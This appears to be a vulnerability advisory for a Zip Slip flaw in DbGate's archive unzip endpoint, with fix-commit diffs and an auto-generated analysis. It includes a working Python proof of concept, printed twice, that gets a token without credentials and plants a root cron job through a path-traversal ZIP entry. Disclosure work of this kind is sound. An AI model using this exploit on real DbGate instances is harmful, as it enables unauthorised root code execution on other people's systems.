DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE
Description
The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.
In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.
Affected code:
packages/api/src/shell/unzipDirectory.js, line 27: ``js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``
Called from packages/api/src/controllers/archive.js, lines 291-293: ``js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``
The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.
PoC:
import requests, zipfile, io
TARGET = "http://localhost:3000"
# Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}
# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
"* * * * * root id > /tmp/pwned\n")
buf.seek(0)
# Upload ZIP
r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
files={"data": ("evil.zip", buf, "application/zip")})
info = r.json()
# Save to archive
requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
json={"filePath": info["filePath"], "fileName": "evil.zip"})
# Trigger Zip Slip - writes cron job to /etc/cron.d/
requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
json={"folder": "evil.zip"})
print("Check /tmp/pwned after 1 minute")
Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
Affected products
1Patches
51d350a3a29aaAdd validation to assertSafeArchiveName to prevent resolving to archive root
1 file changed · +5 −0
packages/api/src/controllers/archive.js+5 −0 modified@@ -32,6 +32,11 @@ function assertSafeArchiveName(name, label) { if (name.includes('\0') || name.includes('..') || name.includes('/') || name.includes('\\')) { throw new Error(`DBGM-00000 Invalid ${label}: path traversal not allowed`); } + // Reject names that resolve to the archive root itself (e.g. '.') + const resolved = path.resolve(archivedir(), name); + if (resolved === path.resolve(archivedir())) { + throw new Error(`DBGM-00000 Invalid ${label}: must not resolve to the archive root`); + } } module.exports = {
1ac0aa8a3e4cAdd path traversal and null byte checks for archive names and ZIP entries
2 files changed · +61 −1
packages/api/src/controllers/archive.js+45 −1 modified@@ -19,6 +19,21 @@ const unzipDirectory = require('../shell/unzipDirectory'); const logger = getLogger('archive'); +/** + * Rejects any archive name (folder or file) that contains path-traversal + * sequences, directory separators, or null bytes. These values are used + * directly in path.join() calls; allowing traversal would let callers read + * or write arbitrary files outside the archive directory. + */ +function assertSafeArchiveName(name, label) { + if (typeof name !== 'string' || name.length === 0) { + throw new Error(`DBGM-00000 Invalid ${label}: must be a non-empty string`); + } + if (name.includes('\0') || name.includes('..') || name.includes('/') || name.includes('\\')) { + throw new Error(`DBGM-00000 Invalid ${label}: path traversal not allowed`); + } +} + module.exports = { folders_meta: true, async folders() { @@ -39,13 +54,15 @@ module.exports = { createFolder_meta: true, async createFolder({ folder }) { + assertSafeArchiveName(folder, 'folder'); await fs.mkdir(path.join(archivedir(), folder)); socket.emitChanged('archive-folders-changed'); return true; }, createLink_meta: true, async createLink({ linkedFolder }) { + assertSafeArchiveName(path.parse(linkedFolder).name, 'linkedFolder'); const folder = await this.getNewArchiveFolder({ database: path.parse(linkedFolder).name + '.link' }); fs.writeFile(path.join(archivedir(), folder), linkedFolder); clearArchiveLinksCache(); @@ -71,6 +88,7 @@ module.exports = { files_meta: true, async files({ folder }) { + assertSafeArchiveName(folder, 'folder'); try { if (folder.endsWith('.zip')) { if (await fs.exists(path.join(archivedir(), folder))) { @@ -121,6 +139,9 @@ module.exports = { createFile_meta: true, async createFile({ folder, file, fileType, tableInfo }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); + assertSafeArchiveName(fileType, 'fileType'); await fs.writeFile( path.join(resolveArchiveFolder(folder), `${file}.${fileType}`), tableInfo ? JSON.stringify({ __isStreamHeader: true, tableInfo }) : '' @@ -131,13 +152,20 @@ module.exports = { deleteFile_meta: true, async deleteFile({ folder, file, fileType }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); + assertSafeArchiveName(fileType, 'fileType'); await fs.unlink(path.join(resolveArchiveFolder(folder), `${file}.${fileType}`)); socket.emitChanged(`archive-files-changed`, { folder }); return true; }, renameFile_meta: true, async renameFile({ folder, file, newFile, fileType }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); + assertSafeArchiveName(newFile, 'newFile'); + assertSafeArchiveName(fileType, 'fileType'); await fs.rename( path.join(resolveArchiveFolder(folder), `${file}.${fileType}`), path.join(resolveArchiveFolder(folder), `${newFile}.${fileType}`) @@ -148,6 +176,8 @@ module.exports = { modifyFile_meta: true, async modifyFile({ folder, file, changeSet, mergedRows, mergeKey, mergeMode }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); await jsldata.closeDataStore(`archive://${folder}/${file}`); const changedFilePath = path.join(resolveArchiveFolder(folder), `${file}.jsonl`); @@ -187,6 +217,8 @@ module.exports = { renameFolder_meta: true, async renameFolder({ folder, newFolder }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(newFolder, 'newFolder'); const uniqueName = await this.getNewArchiveFolder({ database: newFolder }); await fs.rename(path.join(archivedir(), folder), path.join(archivedir(), uniqueName)); socket.emitChanged(`archive-folders-changed`); @@ -196,6 +228,7 @@ module.exports = { deleteFolder_meta: true, async deleteFolder({ folder }) { if (!folder) throw new Error('Missing folder parameter'); + assertSafeArchiveName(folder, 'folder'); if (folder.endsWith('.link') || folder.endsWith('.zip')) { await fs.unlink(path.join(archivedir(), folder)); } else { @@ -207,13 +240,17 @@ module.exports = { saveText_meta: true, async saveText({ folder, file, text }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); await fs.writeFile(path.join(resolveArchiveFolder(folder), `${file}.jsonl`), text); socket.emitChanged(`archive-files-changed`, { folder }); return true; }, saveJslData_meta: true, async saveJslData({ folder, file, jslid, changeSet }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); const source = getJslFileName(jslid); const target = path.join(resolveArchiveFolder(folder), `${file}.jsonl`); if (changeSet) { @@ -232,6 +269,8 @@ module.exports = { saveRows_meta: true, async saveRows({ folder, file, rows }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); const fileStream = fs.createWriteStream(path.join(resolveArchiveFolder(folder), `${file}.jsonl`)); for (const row of rows) { await fileStream.write(JSON.stringify(row) + '\n'); @@ -256,6 +295,8 @@ module.exports = { getArchiveData_meta: true, async getArchiveData({ folder, file }) { + assertSafeArchiveName(folder, 'folder'); + assertSafeArchiveName(file, 'file'); let rows; if (folder.endsWith('.zip')) { rows = await unzipJsonLinesFile(path.join(archivedir(), folder), `${file}.jsonl`); @@ -270,7 +311,7 @@ module.exports = { if (!fileName?.endsWith('.zip')) { throw new Error(`${fileName} is not a ZIP file`); } - + assertSafeArchiveName(fileName.slice(0, -4), 'fileName'); const folder = await this.getNewArchiveFolder({ database: fileName }); await fs.copyFile(filePath, path.join(archivedir(), folder)); socket.emitChanged(`archive-folders-changed`); @@ -280,6 +321,7 @@ module.exports = { zip_meta: true, async zip({ folder }) { + assertSafeArchiveName(folder, 'folder'); const newFolder = await this.getNewArchiveFolder({ database: folder + '.zip' }); await zipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); socket.emitChanged(`archive-folders-changed`); @@ -289,6 +331,7 @@ module.exports = { unzip_meta: true, async unzip({ folder }) { + assertSafeArchiveName(folder, 'folder'); const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); socket.emitChanged(`archive-folders-changed`); @@ -298,6 +341,7 @@ module.exports = { getZippedPath_meta: true, async getZippedPath({ folder }) { + assertSafeArchiveName(folder, 'folder'); if (folder.endsWith('.zip')) { return { filePath: path.join(archivedir(), folder) }; }
packages/api/src/shell/unzipDirectory.js+16 −0 modified@@ -20,11 +20,27 @@ function unzipDirectory(zipPath, outputDirectory) { /** Pending per-file extractions – we resolve the main promise after they’re all done */ const pending = []; + // Resolved output boundary used for zip-slip checks on every entry + const resolvedOutputDir = path.resolve(outputDirectory); + // kick things off zipFile.readEntry(); zipFile.on('entry', entry => { + // Null-byte poison check + if (entry.fileName.includes('\0')) { + return reject(new Error(`DBGM-00000 ZIP entry with null byte in filename rejected`)); + } + const destPath = path.join(outputDirectory, entry.fileName); + const resolvedDest = path.resolve(destPath); + + // Zip-slip protection: every extracted path must stay inside outputDirectory + if (resolvedDest !== resolvedOutputDir && !resolvedDest.startsWith(resolvedOutputDir + path.sep)) { + return reject( + new Error(`DBGM-00000 ZIP slip detected: entry "${entry.fileName}" would escape output directory`) + ); + } // Handle directories (their names always end with “/” in ZIPs) if (/\/$/.test(entry.fileName)) {
81e3cce070f3Add validation for linkedFolder in createLink method
1 file changed · +3 −0
packages/api/src/controllers/archive.js+3 −0 modified@@ -62,6 +62,9 @@ module.exports = { createLink_meta: true, async createLink({ linkedFolder }) { + if ( typeof linkedFolder !== 'string' || linkedFolder.length === 0) { + throw new Error(`DBGM-00000 Invalid linkedFolder: must be a non-empty string`); + } assertSafeArchiveName(path.parse(linkedFolder).name, 'linkedFolder'); const folder = await this.getNewArchiveFolder({ database: path.parse(linkedFolder).name + '.link' }); await fs.writeFile(path.join(archivedir(), folder), linkedFolder);
f9de2d77b5b1Moved functionName validation
1 file changed · +1 −1
packages/api/src/controllers/runners.js+1 −1 modified@@ -56,7 +56,6 @@ dbgateApi.runScript(run); `; const loaderScriptTemplate = (functionName, props, runid) => { - assertValidShellApiFunctionName(functionName); const plugins = extractShellApiPlugins(functionName, props); const prefix = plugins.map(packageName => `// @require ${packageName}\n`).join(''); return ` @@ -385,6 +384,7 @@ module.exports = { } const promise = new Promise((resolve, reject) => { + assertValidShellApiFunctionName(functionName); const runid = crypto.randomUUID(); this.requests[runid] = { resolve, reject, exitOnStreamError: true }; this.startCore(runid, loaderScriptTemplate(functionName, props, runid));
3956eaf389baImprove error handling in unzipDirectory by adding readStream error listener and immediate abort on file extraction failure
1 file changed · +8 −0
packages/api/src/shell/unzipDirectory.js+8 −0 modified@@ -86,6 +86,11 @@ function unzipDirectory(zipPath, outputDirectory) { if (!settled) zipFile.readEntry(); }); + readStream.on('error', readErr => { + activeStreams.delete(readStream); + rej(readErr); + }); + writeStream.on('finish', () => { activeStreams.delete(writeStream); logger.info(`DBGM-00068 Extracted "${entry.fileName}" → "${destPath}".`); @@ -104,6 +109,9 @@ function unzipDirectory(zipPath, outputDirectory) { }) ); + // Immediately abort the whole unzip if this file fails; otherwise the + // zip would never emit 'end' (lazyEntries won't advance without readEntry). + filePromise.catch(safeReject); pending.push(filePromise); });
Vulnerability mechanics
Root cause
"The `unzipDirectory` function does not validate that extracted file paths remain within the designated output directory, allowing for path traversal."
Attack vector
An attacker can exploit this vulnerability by crafting a malicious ZIP archive containing entries with `../` sequences. This archive can then be uploaded and unzipped via the archive controller's endpoints. In default Docker deployments, DbGate runs as root and the `none` authentication provider allows unauthenticated access to JWT tokens, making this vulnerability exploitable by any network-adjacent attacker [ref_id=1]. The archive controller lacks permission checks and path traversal protection on its endpoints [ref_id=2].
Affected code
The vulnerability lies within the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` at line 27, where `path.join(outputDirectory, entry.fileName)` is used without validating `destPath` against `outputDirectory` [ref_id=1]. This function is called by the `unzip` method in `packages/api/src/controllers/archive.js` [ref_id=2].
What the fix does
The patch introduces validation to ensure that the destination path for extracted files stays within the intended output directory. This prevents malicious ZIP archives from writing files to arbitrary locations on the filesystem by sanitizing or rejecting paths that attempt to traverse outside the target directory [patch_id=4936121].
Preconditions
- configDefault Docker deployment is used.
- authThe `none` auth provider is configured, allowing unauthenticated JWT token issuance via `POST /auth/login`.
- networkAttacker has network access to the DbGate instance.
- inputAttacker can upload and trigger the unzipping of a specially crafted ZIP file.
Reproduction
```python import requests, zipfile, io
TARGET = "http://localhost:3000"
# Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"}
# Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0)
# Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json()
# Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"})
# Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` [ref_id=1]
Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.